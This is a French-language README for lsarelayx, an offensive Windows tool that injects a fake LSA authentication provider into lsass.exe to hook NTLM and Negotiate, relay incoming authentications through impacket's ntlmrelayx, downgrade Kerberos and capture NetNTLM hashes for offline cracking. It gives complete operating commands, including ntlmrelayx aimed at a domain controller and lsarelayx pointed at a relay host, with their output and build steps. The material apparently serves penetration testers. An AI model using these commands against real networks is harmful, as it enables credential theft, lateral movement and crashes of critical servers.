
Outil de relais NTLM à l'échelle du système qui intercepte les API d'authentification Windows pour relayer les connexions NTLM entrantes, rétrograder Kerberos et extraire les hachages NetNTLM pour un craquage hors ligne.
lsarelayx est un outil de relais NTLM à l'échelle du système conçu pour relayer les authentifications NTLM entrantes vers l'hôte sur lequel il s'exécute. lsarelayx relaie toute demande d'authentification entrante, y compris SMB. Comme lsarelayx s'intègre dans les flux d'authentification des applications existantes, l'outil tentera également de répondre à la demande d'authentification d'origine après la fin du relais. Cela évitera que l'application/protocole cible affiche des erreurs et fonctionnera normalement pour les utilisateurs finaux s'authentifiant sur l'hôte lsarelayx.
lsarelayx se compose de trois parties. Un fournisseur d'authentification LSA factice implémenté dans liblsarelay.dll, une application console en mode utilisateur comme interface de contrôle, et un nouveau module serveur ntlmrelayx appelé RAW.
liblsarelayx.dll est le fournisseur d'authentification LSA chargé par lsarelayx. Son objectif principal est de hooker les packages NTLM et Negotiate pour faciliter la redirection des demandes d'authentification vers lsarelayx via un pipe nommé local pour le relais et l'extraction des hashs NetNTLM. liblsarelayx est conçu pour être aussi simple que possible, tout le travail lourd étant effectué par lsarelayx.
lsarelayx.exe est l'application console principale utilisée pour charger le fournisseur d'authentification LSA personnalisé (liblsarelayx.dll), écouter les jetons NTLM et Negotiate entrants provenant du fournisseur d'authentification et les relayer vers le module serveur RAW de ntlmrelayx. L'outil effectue également les requêtes LDAP utilisées pour capturer les informations de groupe pour les utilisateurs relayés et les renvoyer au fournisseur d'authentification LSA.
impacket's ntlmrelayx a implémenté un travail important dans la création d'attaques de relais et continuera de s'améliorer et d'ajouter d'autres attaques à l'avenir. Pour tirer parti de cela plutôt que de réimplémenter les attaques directement dans lsarelayx, un nouveau module serveur ntlmrelayx appelé RAW a été créé. Actuellement, une PR est ouverte sur GitHub qui implémente le module serveur RAW. Le module serveur RAW est indépendant du protocole et est conçu pour accepter les messages NTLM bruts directement à partir de logiciels tiers comme lsarelayx.
Jusqu'à ce que la PR soit fusionnée dans le dépôt principal d'impacket, vous pouvez utiliser cette version
D'abord, démarrez le module serveur RAW de ntlmrelayx pour écouter les messages NTLM bruts transmis par lsarelayx.
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
lsarelayx lui-même nécessite des privilèges d'administrateur local pour s'exécuter. Pour exécuter en mode relais actif, l'adresse de l'hôte où ntlmrelayx exécute le module serveur RAW doit être spécifiée. Le port par défaut est 6666. Cela peut être remplacé par l'argument --port, mais assurez-vous d'avoir également remplacé le port côté ntlmrelayx en utilisant l'argument --raw-port.
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
Vous pouvez également exécuter lsarelayx en mode passif en lançant sans aucun argument
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
Une fois que la DLL liblsarelayx a été chargée dans lsass, vous ne pouvez actuellement pas la décharger en raison des limitations de fonctionnement des plugins LSA. Le client peut être fermé, ce qui mettra la DLL en état dormant jusqu'à ce que le client redémarre, mais la DLL restera utilisée jusqu'à un redémarrage.
Étant donné que le plugin LSA n'est pas réellement un plugin authentique, il est prévu d'implémenter un chargeur réflexif à l'intérieur du plugin qui pourra ensuite être arrêté et redémarré à volonté, mais c'est un exercice pour un autre jour.
Le développement a été effectué sur Windows 10 et Server 2016. Un test rapide a été effectué sur Windows Server 2012 R2 qui a fonctionné, mais le calcul des offsets pour le hooking peut échouer sur 2012 (cela peut être fourni manuellement en utilisant lookuppackage-hint=, si vous vous trompez, Windows redémarrera). Aucun test n'a été effectué sur les versions antérieures à Windows 10 côté bureau, et rien n'a été testé sur Server 2019.
liblsarelayx.dll sera chargée dans le processus critique lsass.exe. Si liblsarelayx.dll contient des bugs qui entraînent un crash de lsass.exe, l'hôte REDÉMARRERA après 60 secondes. Bien que tous les efforts aient été faits pour écrire un code sans bugs, je ne peux rien promettre. Ne venez pas pleurer si vous avez fait tomber un client du Fortune 500 en faisant planter le serveur de fichiers chargé après avoir utilisé lsarelayx.
Si vous avez Docker installé, c'est l'option la plus rapide. Elle utilise l'image ccob/windows_cross avec toutes les dépendances de compilation préinstallées.
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"
Sous Linux, nous utilisons une chaîne d'outils CMake avec le compilateur MinGW. Ceux-ci doivent être installés au préalable. Pour le composant managé, assurez-vous que l'outil en ligne de commande dotnet est également installé à partir de .NET Core.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip
Windows nécessitera une configuration complète de CMake, MinGW et Visual Studio avant même de tenter de compiler, c'est la façon la plus pénible de compiler si vous n'avez pas d'environnement de développement installé.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip